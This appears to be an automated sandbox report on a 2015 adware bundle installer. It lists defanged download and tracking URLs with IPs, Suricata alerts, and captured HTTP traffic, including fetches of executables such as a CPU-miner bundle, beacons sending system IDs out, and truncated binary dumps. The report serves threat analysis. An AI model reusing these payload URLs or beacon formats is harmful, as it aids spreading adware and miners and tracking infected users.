hxxp://cds.c5z6s5a3.hwcdn.net/data.gif?app=12345&ibic=c34de9db4800cc5c07ea55982373e9fd&verifier=394e163cb9e37b27c10848a9a1e45ae5&ver=107&os=XP32&browser=ci&campaign=003266&browserver=107&country=UA&event=3&rnd=2838
hxxp://s3-website-us-east-1.amazonaws.com/installer.gif?action=started&ibic=c34de9db4800cc5c07ea55982373e9fd&verifier=394e163cb9e37b27c10848a9a1e45ae5&os=XP32&chver=X&ffver=X&iever=6&app=12345&srcid=003266&default=ie&ver=107&crtnm=OralTeams&rnd=2004
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=4&c=003266&i=100&n=install_browser_start_async&ibic=c34de9db4800cc5c07ea55982373e9fd&rnd=6423
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=4&c=003266&i=250&n=install_browser_downloading&ibic=c34de9db4800cc5c07ea55982373e9fd&rnd=9431
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=4&c=003266&i=270&n=install_browser_all_thread_created_success&ibic=c34de9db4800cc5c07ea55982373e9fd&rnd=6862
hxxp://cds.c5z6s5a3.hwcdn.net/crossbrowse/ie/107/ie.zip.004
hxxp://cds.c5z6s5a3.hwcdn.net/crossbrowse/ie/107/ie.zip.003
hxxp://cds.c5z6s5a3.hwcdn.net/crossbrowse/ie/107/ie.zip.002
hxxp://cds.c5z6s5a3.hwcdn.net/crossbrowse/ie/107/ie.zip.005
hxxp://cds.c5z6s5a3.hwcdn.net/crossbrowse/ie/107/ie.zip.001
hxxp://d1mdi78qyff344.cloudfront.net/7121923af824073a25b2b7e6ba0a6e0e.exe	54.239.168.201
hxxp://cds.r5q6q4j7.hwcdn.net/OperaRUnew/Bundle_OperaRUnew.exe
hxxp://ils-front-balancer3-264552681.us-east-1.elb.amazonaws.com/thankyou.php
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=4&c=003266&i=310&n=install_browser_all_thread_ended_success&ibic=c34de9db4800cc5c07ea55982373e9fd&rnd=933
hxxp://cds.r5q6q4j7.hwcdn.net/CPUminer/Bundle_CPUminer.exe
hxxp://dl.tuto4pc.com/download/dwn/prq4633/este/re/setup_gmsd_re.exe
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=4&c=003266&i=360&n=install_browser_all_files_in_place&ibic=c34de9db4800cc5c07ea55982373e9fd&rnd=5132
hxxp://prof.eorezo.com/cgi-bin/get_protect.cgi?checking=true&version=gmsd_us_233&forceGEO=US	37.187.148.123
hxxp://ads.regiedepub.com/cgi-bin/advert/settags?x_mode=args&x_format=javascript&x_dp_id=1203&x_pub_id=134153&tag=RE_CLICKMEIN_INSTALL_INI	37.187.148.215
hxxp://prof.eorezo.com/cgi-bin/get_protect.cgi	37.187.148.123
hxxp://ads.under-myscreen.be/cgi-bin/advert/getkws.cgi?did=90068&version=0&key=azJJ.s8MVPsHc	188.165.249.119
hxxp://ads.regiedepub.com/cgi-bin/advert/settags?x_mode=args&x_format=javascript&x_dp_id=1203&x_pub_id=134153&tag=RE_CLICKMEIN_INSTALL_F11	37.187.148.215
hxxp://ads.regiedepub.com/cgi-bin/advert/settags?x_mode=args&x_format=javascript&x_dp_id=1203&x_pub_id=134153&tag=RE_CLICKMEIN_INSTALL_FIN	37.187.148.215
hxxp://ads.regiedepub.com/cgi-bin/advert/settags?x_mode=args&x_format=javascript&x_dp_id=1203&x_pub_id=134153&tag=RE_CLICKMEIN_COUNT1	37.187.148.215
hxxp://ads.regiedepub.com/cgi-bin/advert/settags?x_mode=args&x_format=javascript&x_dp_id=1203&x_pub_id=134153&tag=RE_CLICKMEIN_DCOUNT1	37.187.148.215
hxxp://d10huri5h4o4a3.cloudfront.net/smt.exe	54.239.168.70
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=4&c=003266&i=410&n=install_browser_install_ch_success&ibic=c34de9db4800cc5c07ea55982373e9fd&rnd=6473
hxxp://d27foqb3kkzkt9.cloudfront.net/sdk/binsis/2.2/BiTool.dll	54.239.168.105
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=4&c=003266&i=480&n=install_browser_end_success&ibic=c34de9db4800cc5c07ea55982373e9fd&rnd=1898
hxxp://cds.c5z6s5a3.hwcdn.net/data.gif?app=12345&ibic=c34de9db4800cc5c07ea55982373e9fd&verifier=394e163cb9e37b27c10848a9a1e45ae5&ver=107&os=XP32&browser=ci&campaign=003266&browserver=107&country=UA&event=4&rnd=2444
hxxp://d3oxtn1x3b8d7i.cloudfront.net/binsis/get_pre_offering_checks?uid=78E613EC0FD24B388D7E6C851DDC4F6F&v=2.2.2&v1=U2VyaWFsTnVtYmVyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBWZXJzaW9uICAgICAgICAgICANDQpWTXdhcmUtNTYgNGQgNzAgMTMgYjYgYzEgMWMgYmQtYjAgMjkgOWEgMWYgNzggZmQgNTUgYTMgIElOVEVMICAtIDYwNDAwMDA&affid=vuupcntmb&sid=vuupculwo&s=0	54.239.168.211
hxxp://d3oxtn1x3b8d7i.cloudfront.net/binsis/xml?uid=78E613EC0FD24B388D7E6C851DDC4F6F&v=2.2.2&v1=U2VyaWFsTnVtYmVyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBWZXJzaW9uICAgICAgICAgICANDQpWTXdhcmUtNTYgNGQgNzAgMTMgYjYgYzEgMWMgYmQtYjAgMjkgOWEgMWYgNzggZmQgNTUgYTMgIElOVEVMICAtIDYwNDAwMDA&affid=vuupcntmb&sid=vuupculwo&s=0	54.239.168.211
hxxp://d1r531x3ryfc51.cloudfront.net/installers/bi_downloader/1441577004706/setup.exe
hxxp://zip.rgbdomsrv.com/crossbrowse/ie/107/ie.zip.002	69.16.175.42
hxxp://zip.rgbdomsrv.com/crossbrowse/ie/107/ie.zip.001	69.16.175.42
hxxp://www.software-forus.com/OperaRUnew/Bundle_OperaRUnew.exe	205.185.216.10
hxxp://livestatscounter.com/Generic/vos.php?ch=NOCHPC&rdsn=0&idn=1&sid=&isnw=2&civ=2&or=&pac=&guidv=2&vpname=&prdk=&tst=	50.7.133.50
hxxp://err.rgbdomsrv.com/utility.gif?report=fdata&f=4&c=003266&i=100&n=install_browser_start_async&ibic=c34de9db4800cc5c07ea55982373e9fd&rnd=6423	54.231.34.4
hxxp://dl.staticclientstorage.com/69/all/cp/row/setup.exe	69.16.175.42
hxxp://logs.rgbdomsrv.com/data.gif?app=12345&ibic=c34de9db4800cc5c07ea55982373e9fd&verifier=394e163cb9e37b27c10848a9a1e45ae5&ver=107&os=XP32&browser=ci&campaign=003266&browserver=107&country=UA&event=3&rnd=2838	69.16.175.10
hxxp://zip.rgbdomsrv.com/crossbrowse/ie/107/ie.zip.004	69.16.175.42
hxxp://err.rgbdomsrv.com/utility.gif?report=fdata&f=4&c=003266&i=360&n=install_browser_all_files_in_place&ibic=c34de9db4800cc5c07ea55982373e9fd&rnd=5132	54.231.34.4
hxxp://livestatscounter.com/SysInfo/validator/timer.php	50.7.133.50
hxxp://www.software-forus.com/CPUminer/Bundle_CPUminer.exe	205.185.216.10
hxxp://zip.rgbdomsrv.com/crossbrowse/ie/107/ie.zip.003	69.16.175.42
hxxp://mystats.rgbdomsrv.com/installer.gif?action=started&ibic=c34de9db4800cc5c07ea55982373e9fd&verifier=394e163cb9e37b27c10848a9a1e45ae5&os=XP32&chver=X&ffver=X&iever=6&app=12345&srcid=003266&default=ie&ver=107&crtnm=OralTeams&rnd=2004	54.231.80.170
hxxp://err.rgbdomsrv.com/utility.gif?report=fdata&f=4&c=003266&i=270&n=install_browser_all_thread_created_success&ibic=c34de9db4800cc5c07ea55982373e9fd&rnd=6862	54.231.34.4
hxxp://logs.rgbdomsrv.com/data.gif?app=12345&ibic=c34de9db4800cc5c07ea55982373e9fd&verifier=394e163cb9e37b27c10848a9a1e45ae5&ver=107&os=XP32&browser=ci&campaign=003266&browserver=107&country=UA&event=4&rnd=2444	69.16.175.10
hxxp://zip.rgbdomsrv.com/crossbrowse/ie/107/ie.zip.005	69.16.175.42
hxxp://err.rgbdomsrv.com/utility.gif?report=fdata&f=4&c=003266&i=410&n=install_browser_install_ch_success&ibic=c34de9db4800cc5c07ea55982373e9fd&rnd=6473	54.231.34.4
hxxp://err.rgbdomsrv.com/utility.gif?report=fdata&f=4&c=003266&i=480&n=install_browser_end_success&ibic=c34de9db4800cc5c07ea55982373e9fd&rnd=1898	54.231.34.4
hxxp://dl.taxideataxus.com/download/dwn/prq4633/este/re/setup_gmsd_re.exe	176.31.126.119
hxxp://err.rgbdomsrv.com/utility.gif?report=fdata&f=4&c=003266&i=250&n=install_browser_downloading&ibic=c34de9db4800cc5c07ea55982373e9fd&rnd=9431	54.231.34.4
hxxp://www.downloadsoup.com/thankyou.php	54.243.139.119
hxxp://prof.youandmeandmeandyouhihi.com/cgi-bin/get_protect.cgi	37.187.148.125
hxxp://err.rgbdomsrv.com/utility.gif?report=fdata&f=4&c=003266&i=310&n=install_browser_all_thread_ended_success&ibic=c34de9db4800cc5c07ea55982373e9fd&rnd=933	54.231.34.4
hxxp://sub.spirlymo.com/installers/bi_downloader/1441577004706/setup.exe	54.239.168.116
s3.amazonaws.com	54.231.8.184
upd.adskyforever.com	188.165.209.115

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

ET POLICY User-Agent (NSIS_Inetc (Mozilla)) - Sometimes used by hostile installers
ET POLICY Executable served from Amazon S3
ET MALWARE Possible Windows executable sent when remote host claims to send html content
SURICATA STREAM ESTABLISHED packet out of window
SURICATA STREAM Packet with invalid ack
SURICATA STREAM ESTABLISHED invalid ack
ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected
ET TROJAN VMProtect Packed Binary Inbound via HTTP - Likely Hostile
SURICATA STREAM FIN out of window
ET POLICY Signed TLS Certificate with md5WithRSAEncryption
ET MALWARE Adware-Win32/EoRezo Reporting
SURICATA STREAM SHUTDOWN RST invalid ack

Traffic

POST /thankyou.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: NSIS_Inetc (Mozilla)

Host: VVV.downloadsoup.com

Content-Length: 469

Connection: Keep-Alive

Cache-Control: no-cache

cnt=daa8ba6c6755c5f89ef7fd05d0b42046&_srvlog=NSI &browser=ie&capp=nsdummy&cid=11612¤t_screen=Finish_Last_Screen&is=0&netfs=0&os=&sysid=C8318CA6891F5119A9FD96EC19E98D71&sysid1=C8318CA6891F5119A9FD96EC19E98D71&te=1441580331&ts=1441580329&ver=1.1.2.41&c[OperaRUnew][s]=-2&c[Updater][s]=8&c[Updater][pi]=1&c[OperaRUnew][pi]=0&c[OperaRUnew][e]=0&c[OperaRUnew][ts]=0&c[OperaRUnew][te]=0&cmdl=C:DOCUME~1admLOCALS~1Temp
ss2A.tmp /ci 11612&bti1=
HTTP/1.1 200 OK

Content-Type: text/plain; charset=UTF-8

Date: Sun, 06 Sep 2015 22:58:50 GMT

Server: Apache/2.2.15 (Red Hat)

X-Powered-By: PHP/5.3.3

Content-Length: 14

Connection: keep-alive

....      ....

GET /installer.gif?action=started&ibic=c34de9db4800cc5c07ea55982373e9fd&verifier=394e163cb9e37b27c10848a9a1e45ae5&os=XP32&chver=X&ffver=X&iever=6&app=12345&srcid=003266&default=ie&ver=107&crtnm=OralTeams&rnd=2004 HTTP/1.1

Accept: */*

Host: mystats.rgbdomsrv.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: Ph L8KCqr fTgFr6Z3FPfyglwWAukl4uQlqlv0jJ3jUyvpdOzS9MWhheluHfsT5pjtqCUYyoR8A=

x-amz-request-id: 6B70A93C98F7A06B

Date: Sun, 06 Sep 2015 22:58:43 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Wed, 17 Jun 2015 13:20:41 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3

GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: Ph L8K
Cqr fTgFr6Z3FPfyglwWAukl4uQlqlv0jJ3jUyvpdOzS9MWhheluHfsT5pjtqCUYyoR8A=
..x-amz-request-id: 6B70A93C98F7A06B..Date: Sun, 06 Sep 2015 22:58:43 
GMT..Expires: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, 
must-revalidate..Last-Modified: Wed, 17 Jun 2015 13:20:41 GMT..ETag: "
28d6814f309ea289f847c69cf91194c6"..Content-Type: image/gif..Content-Le
ngth: 35..Server: AmazonS3..GIF89a.............,...........D..;..

GET /sdk/binsis/2.2/BiTool.dll HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: d27foqb3kkzkt9.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Content-Type: application/octet-stream

Content-Length: 59904

Connection: keep-alive

Server: nginx

Date: Thu, 23 Jul 2015 01:04:56 GMT

Last-Modified: Tue, 15 Oct 2013 19:55:30 GMT

ETag: "525d9db2-ea00"

Expires: Thu, 23 Jul 2015 01:14:56 GMT

Cache-Control: max-age=600

Accept-Ranges: bytes

Age: 464

X-Cache: Hit from cloudfront

Via: 1.1 27b3a801292660302bc6c8d6a96c71ce.cloudfront.net (CloudFront)

X-Amz-Cf-Id: b4UaOZ_q4LnUR72ZuLerUS8zUrP39hyBqUkYKpAW4vIpOaI2_5D_3g==

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......I}.I..h...h.
..h..S....h..d....h..d....h..d....h..d....h...i.W.h..d....h..d....h..d
....h.Rich..h.................PE..L.....]R...........!.........,......
e........................................ ......9.....@...............
......................................................0...............
....................`...@...............H............................t
ext..._........................... ..`.rdata..5.......................
....@..@.data...x...........................@....rsrc.................
..............@..@.reloc..............................@..B............
......................................................................
......................................................................
......................................................................
......................................................................
............................................U..Q.M..E..M....E...].....
......U..Q.M..E.....].U..Q.M...]......U..Q.M..E........E...]..........
U..Q.M..E..M.......]............U......M..E..8.t..M.........E....E....
..E...]...U..Q.M..E..M...3.;......].......U..Q.M..E.3..8........].....
....U..Q.M..E.P.M........M........E...].............U..Q.M..E........M
.........]....U..Q.M..M.......E....t..M.Q.Z.......E...].......U...E.].
........U..j.h....d.....PQ.....3.P.E.d......M..M........E......E......
..M.Q.M...........E......E..M.d......Y..].........U..Q.M..E.......

<<< skipped >>>

GET /crossbrowse/ie/107/ie.zip.003 HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

Host: zip.rgbdomsrv.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Date: Sun, 06 Sep 2015 22:58:42 GMT

Keep-Alive: timeout=10, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1441008913"

Last-Modified: Mon, 31 Aug 2015 08:15:13 GMT

Cache-Control: max-age=40537

Content-Length: 8244985

Content-Type: text/plain; charset=UTF-8

X-HW: 1441580323.dop019.am4.t,1441580322.cds064.am4.c
l...%...J.....=.6...<.,........#....U.s.I.* m..e_O.'.x..4.SV..x...q
...d.[.R...A_.....&........."b.....g.........^...N}...$............^..
O.&.S....y.Q..vm.!.W........j.kt.......D....%G......*..$.k...@c".e...w
u..b.3..oV.....G..ER...o.V..co....v.P..[}.....m.......3.;.E..r.O...{."
..'V.-....V.L.4....RF. .:`....M.8..z....z.m....7>...<t?.)$g.'...
..~..i.i..W..gV...vZV......dy.cec<F2.8..ZT.W...}d.m..m5..h^...../.@
.c.F.....vW......<.PQ....I.8...L-...C...........<%....n..b.4.3gJ
.h.D.U...8....PV80..R.so~..k..S QGp4.%.i..I..?...Z@%.B..U!1..m.3......
...|7h..s.;V,WBbPQ}=.......%..o......hc........5.9...v|.t...<"....t
.Z6.........f.4.3.H..Y ...d...C-.u...B.....RIK:.*$$JP.........q..v.-..
......$....q..@.../-.. 6Ie.....7....0b...NR.Ti.<U.@a.$.8.m`.i... ~.
Y.)j0....%....M.... .CF?0......pd.........M......~m.8.#3b .>...3|`.
/|W.=../#7j\U..k..@7..G.1.K..?=J../ ?....M...U.`...P.2....A&'?.:oI...\
.}6...=k..D..Jv..<HfG..).>p..?.R1....GUo._.mb.M" X...6........#.
..V$...........GX[R...=.xX.C ~N.2..!gs.(.o...qa.......y0..G......p$0. 
^.`.@.*..)?....u.&...L......6....................Q$....4AJFn....kj....
...............q...Q.K;.E.}..\9eL..jO4.....N..Y.........}GD{.j.....d.c
.(...uMK$.h.T........~0..T.<a......PPC..x..&.%`}."5...Q%.4RS..F>
@T.}...;..w...zOoL....^DX.<..'.M.Nl\..E{(.}....5.s.(....a.[...,....
@.xD.:$.D?.h...:T.=r./.VD.V......k.J..9.dC..g.>_.9.........(RiV....
..]...}....u7.J..:c.,...D....O..-..A.x.... PP..j;...b...TA..(.,]... r.
.........t.....5.7`H.)<6A...9.....tD...bl.]e....F....{ .....5..<<< skipped >>>

GET /cgi-bin/advert/settags?x_mode=args&x_format=javascript&x_dp_id=1203&x_pub_id=134153&tag=RE_CLICKMEIN_COUNT1 HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Accept: */*

User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Host: ads.regiedepub.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Date: Sun, 06 Sep 2015 22:59:09 GMT

Server: Apache/2.2.16 (Debian) mod_ssl/2.2.16 OpenSSL/0.9.8o mod_wsgi/3.3 Python/2.6.6 mod_perl/2.0.4 Perl/v5.10.1

Content-Location: settags.cgi

Vary: negotiate

TCN: choice

Cache-Control: no-store, no-cache, must-revalidate

X-C4PC-ServerName: ads.regiedepub.com

P3P: policyref="hXXp://ads.regiedepub.com/w3c/p3p.xml",CP="NON DSP COR CURa PSA PSD OUR BUS NAV STA"

Expires: Sun, 06 Sep 15 22:59:00 GMT

Set-Cookie: _c4aid=D1402663038E45A2BDB7F5AF181223AC; expires=Fri, 04 Mar 16 22:59:00 GMT; domain=regiedepub.com; path=/;

Set-Cookie: _c4aid2=D1402663038E45A2BDB7F5AF181223AC,1441580349.46719; expires=Fri, 04 Mar 16 22:59:00 GMT; domain=regiedepub.com; path=/;

Connection: close

Transfer-Encoding: chunked

Content-Type: text/javascript
41.......if (window.rdp_callback).....rdp_callback(1203, 134153);.....
.0..

GET /36e0f22eacad857de2cd3b76aedc24a7.exe HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: d16hr9n7t75k58.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Content-Type: application/x-msdownload

Content-Length: 56304

Connection: keep-alive

Date: Thu, 27 Aug 2015 12:47:59 GMT

Last-Modified: Thu, 27 Aug 2015 10:14:28 GMT

ETag: "b638732ad509ece4839c3329584ea42b"

Accept-Ranges: bytes

Server: AmazonS3

Age: 36445

X-Cache: Hit from cloudfront

Via: 1.1 1415e6a9d308119037d1fa89386da72a.cloudfront.net (CloudFront)

X-Amz-Cf-Id: EZNAGlFeNUHqCNAk12I2rTH_FQjWTI50Y_Wj1xFKmVMES7RZlKm3Jw==

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................^...........0.......p....@.........
.................................................................t....
......................................................................
.............p...............................text...L\.......^........
.......... ..`.rdata.......p.......b..............@..@.data...X\......
.....v..............@....ndata...................................rsrc.
...............z..............@..@....................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
.h.B..H.P.u..u..u...Hr@..B...SV.5p.B..E.WP.u...Lr@..e...E..E.P.u...Pr@
..}..e....Dp@........FR..VV..U... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u...Tr@..u
....E..9}...w....~X.te.v4..Lp@....E.tU.}.j.W.E......E.......Pp@..vXW..
Tp@..u..5Xp@.W...E..E.h ...Pj.h`.B.W..Xr@..u.W...u....E.P.u...\r@._^3.
[.....L$....B...Si.....VW.T.....tO.q.3.;5..B.sB..i......D.......t.G...
..t...O..t .....u...3....3...F.....;5..B.r._^[...U..QQ.U.SV..i....

<<< skipped >>>

GET /cgi-bin/advert/getkws.cgi?did=90068&version=0&key=azJJ.s8MVPsHc HTTP/1.1

User-Agent: gmsd_re_005010082-1.20

Host: ads.under-myscreen.be

Accept: */*

Accept-Encoding: gzip, deflate

Referer:

Cookie:

Accept-Language: en,en-US

X-Guuid: 75ed9567-aa58-4c8e-a8ea-3cad7c47ab03

X-OS-Ver: 5.1.2.2600


HTTP/1.1 200 OK

Date: Sun, 06 Sep 2015 22:59:07 GMT

Server: Apache/2.2.16 (Debian) mod_ssl/2.2.16 OpenSSL/0.9.8o mod_perl/2.0.4 Perl/v5.10.1

X-C4PC-ServerName: ads.under-myscreen.be

Set-Cookie: _c4aid=75ED9567AA584C8EA8EA3CAD7C47AB03; expires=Fri, 04 Mar 16 22:59:00 GMT; domain=under-myscreen.be; path=/;

Set-Cookie: _c4aid2=75ED9567AA584C8EA8EA3CAD7C47AB03,1441580347.25067; expires=Fri, 04 Mar 16 22:59:00 GMT; domain=under-myscreen.be; path=/;

Connection: close

Transfer-Encoding: chunked

Content-Type: text/javascript
1f1..{"dids":{"90077":{"unmatch":["regiedepub.com|under-myscreen.be|eo
rezo.com|regiedepub.com"],"match":[{"u":0,"m":"xvideos|imbd|instagram|
netflix|craigslist|kickass|td|thepiratebay"},{"u":0,"m":"yahoo|live|wi
kipedia|bing|msn|amazon|tumblr|royalbank|reddit|ebay"},{"u":0,"m":"pin
terest|apple|ask|microsoft|bmo|wordpress|cibc|paypal|baidu|cbc"},{"u":
0,"m":"http|fa|go|yah|hot|twit|blog|msn|apple|facebook|google|twitter|
youtube"},{"u":0,"m":"xhamster"}]}},"freeze":3600,"refresh":3600,"vers
ion":116228}..0..

GET /cmmdWriter.exe HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: d2fpsq9kg43yka.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Content-Type: application/x-msdownload

Content-Length: 40746

Connection: keep-alive

Date: Fri, 04 Sep 2015 14:41:56 GMT

Last-Modified: Fri, 04 Sep 2015 14:37:33 GMT

ETag: "ceea099a2589b086940ea7e1333a3ad9"

Accept-Ranges: bytes

Server: AmazonS3

Age: 29741

X-Cache: Hit from cloudfront

Via: 1.1 ad1289c08e15a848e5c2bc019529785a.cloudfront.net (CloudFront)

X-Amz-Cf-Id: tF56RzIgl9xhI8GZcDd2KDE0wbzLyMVAJTqQ_Y8OEveTk9VLE7MMZw==

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................Z...........0.......p....@.........
.................................................................s....
......................................................................
.............p...............................text....X.......Z........
.......... ..`.rdata.......p.......^..............@..@.data...x.......
.....p..............@....ndata.......@...........................rsrc.
...............t..............@..@....................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
..>B..H.P.u..u..u...Hr@..B...SV.5.>B..E.WP.u...Lr@..e...E..E.P.u
...Pr@..}..e....Dp@........FR..VV..U... M.......M....3.....FQ.....NU..
M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u...
Tr@..u....E..9}...w....~X.te.v4..Lp@....E.tU.}.j.W.E......E.......Pp@.
.vXW..Tp@..u..5Xp@.W...E..E.h ...Pj.h.6B.W..Xr@..u.W...u....E.P.u...\r
@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i......D.
......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[...U.

<<< skipped >>>

GET /cgi-bin/advert/settags?x_mode=args&x_format=javascript&x_dp_id=1203&x_pub_id=134153&tag=RE_CLICKMEIN_INSTALL_F11 HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Accept: */*

User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Host: ads.regiedepub.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Date: Sun, 06 Sep 2015 22:59:08 GMT

Server: Apache/2.2.16 (Debian) mod_ssl/2.2.16 OpenSSL/0.9.8o mod_wsgi/3.3 Python/2.6.6 mod_perl/2.0.4 Perl/v5.10.1

Content-Location: settags.cgi

Vary: negotiate

TCN: choice

Cache-Control: no-store, no-cache, must-revalidate

X-C4PC-ServerName: ads.regiedepub.com

P3P: policyref="hXXp://ads.regiedepub.com/w3c/p3p.xml",CP="NON DSP COR CURa PSA PSD OUR BUS NAV STA"

Expires: Sun, 06 Sep 15 22:59:00 GMT

Set-Cookie: _c4aid=DD2FA126FAC74D8AA1D05FEAF566A195; expires=Fri, 04 Mar 16 22:59:00 GMT; domain=regiedepub.com; path=/;

Set-Cookie: _c4aid2=DD2FA126FAC74D8AA1D05FEAF566A195,1441580348.92802; expires=Fri, 04 Mar 16 22:59:00 GMT; domain=regiedepub.com; path=/;

Connection: close

Transfer-Encoding: chunked

Content-Type: text/javascript
41.......if (window.rdp_callback).....rdp_callback(1203, 134153);.....
.0..

GET /69/all/cp/row/setup.exe HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: dl.staticclientstorage.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Date: Sun, 06 Sep 2015 22:58:38 GMT

Keep-Alive: timeout=10, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1441293292"

Last-Modified: Thu, 03 Sep 2015 15:14:52 GMT

Cache-Control: max-age=211

Content-Length: 1998408

Content-Type: application/x-msdownload

X-HW: 1441580319.dop007.am4.t,1441580318.cds064.am4.c
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......D..S........
....F.>.%...F.......F...Z.....e...............b.C...o.K.......r....
...................:.......v.......?.....Rich............PE..L...&L.U.
............................/.......0....@............................
...........@................................. I...........A...........
v..H............3..8...............................@............0.....
..........................text...T........................... ..`.rdat
a..j*...0...,..................@..@.data....0...`.......F.............
.@....rsrc....A.......B...0..............@..@.reloc...............r...
...........@..B.......................................................
......................................................................
......................................................................
......................................................................
...............................................U...M.V3.;.tb.A.;.t[.p.
.q..q..q..P.;.t.....Q0..0....0.p..p..p .p8.p<.@......Hl.HP.HL......
..............3.^]........^]..........U...M.3.;.t..A.;.t.Q.P(.P,.P0.^.
..]........]....U...M.W..tt.y...tmSV.u...y.3..........C..0}......t....
|....~.^[....._]....G4..t.9w$t.P.A(.I$P...M.....G4....Q._..w$.X...^[_]
........_]..........U...E.S3.;........81.......}.8......V.u.;.u.^.C.[]
....^.9^ u..F ` @..^(9^$u..F$. @..F(.N Wh....j.P.......;.u._^.....[]..
..U.R.~.V._4.........t..F(.N$WP......F....._^..[]........[].......<<< skipped >>>

POST / HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: NSIS_Inetc (Mozilla)

Host: ibf-cmi-1938953175.us-east-1.elb.amazonaws.com

Content-Length: 115

Connection: Keep-Alive

Cache-Control: no-cache

{"table": "event_has_user","data": "{\"event_event_id\": \"5515\",\"channel_id\": \"\", \"utm_addition\":\"v=2\"}"}
HTTP/1.1 200 OK

Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept

Access-Control-Allow-Origin: *

Content-Type: text/html; charset=utf-8

Date: Sun, 06 Sep 2015 22:58:34 GMT

X-Powered-By: Express

Content-Length: 15

Connection: keep-alive

{"Status":"OK"}HTTP/1.1 200 OK..Access-Control-Allow-Headers: Origin, 
X-Requested-With, Content-Type, Accept..Access-Control-Allow-Origin: *
..Content-Type: text/html; charset=utf-8..Date: Sun, 06 Sep 2015 22:58
:34 GMT..X-Powered-By: Express..Content-Length: 15..Connection: keep-a
live..{"Status":"OK"}....

POST / HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: NSIS_Inetc (Mozilla)

Host: ibf-cmi-1938953175.us-east-1.elb.amazonaws.com

Content-Length: 115

Connection: Keep-Alive

Cache-Control: no-cache

{"table": "event_has_user","data": "{\"event_event_id\": \"5516\",\"channel_id\": \"\", \"utm_addition\":\"v=2\"}"}
HTTP/1.1 200 OK

Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept

Access-Control-Allow-Origin: *

Content-Type: text/html; charset=utf-8

Date: Sun, 06 Sep 2015 22:58:34 GMT

X-Powered-By: Express

Content-Length: 15

Connection: keep-alive

{"Status":"OK"}HTTP/1.1 200 OK..Access-Control-Allow-Headers: Origin, 
X-Requested-With, Content-Type, Accept..Access-Control-Allow-Origin: *
..Content-Type: text/html; charset=utf-8..Date: Sun, 06 Sep 2015 22:58
:34 GMT..X-Powered-By: Express..Content-Length: 15..Connection: keep-a
live..{"Status":"OK"}..

GET / HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

Host: ipgeoapi.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Date: Sun, 06 Sep 2015 22:58:41 GMT

Connection: keep-alive

Content-Type: application/json;charset=utf-8

Content-Length: 40

Server: thin 1.4.1 codename Chromeo

Via: 1.1 vegur

{"country_code":222,"country_name":"UA"}HTTP/1.1 200 OK..Date: Sun, 06
 Sep 2015 22:58:41 GMT..Connection: keep-alive..Content-Type: applicat
ion/json;charset=utf-8..Content-Length: 40..Server: thin 1.4.1 codenam
e Chromeo..Via: 1.1 vegur..{"country_code":222,"country_name":"UA"}..

